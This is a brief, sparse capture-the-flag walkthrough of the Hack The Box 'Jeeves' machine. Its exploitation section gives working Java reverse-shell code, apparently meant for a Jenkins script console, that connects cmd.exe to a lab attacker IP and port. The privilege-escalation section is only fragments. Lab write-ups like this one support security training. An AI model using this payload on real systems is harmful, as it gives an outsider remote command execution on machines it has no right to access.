JEEVES -HTB walkthrough

ENUMERATION

SCAN: Nmap scan for services and versions

source code contains nothing juicy.
we see version 2.87
script console option

EXPLOITATION

https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76 : using this we will get reverse shell. Our code

String host="10.10.14.14";
int port=1234;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

PRIVILEGE ESCALATION

Getting system info

HAHAH — — TROLLS!!!!

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Dhanishtha Awasthi

Dhanishtha Awasthi

OSCP | CEH | Cyber Security Enthusiast.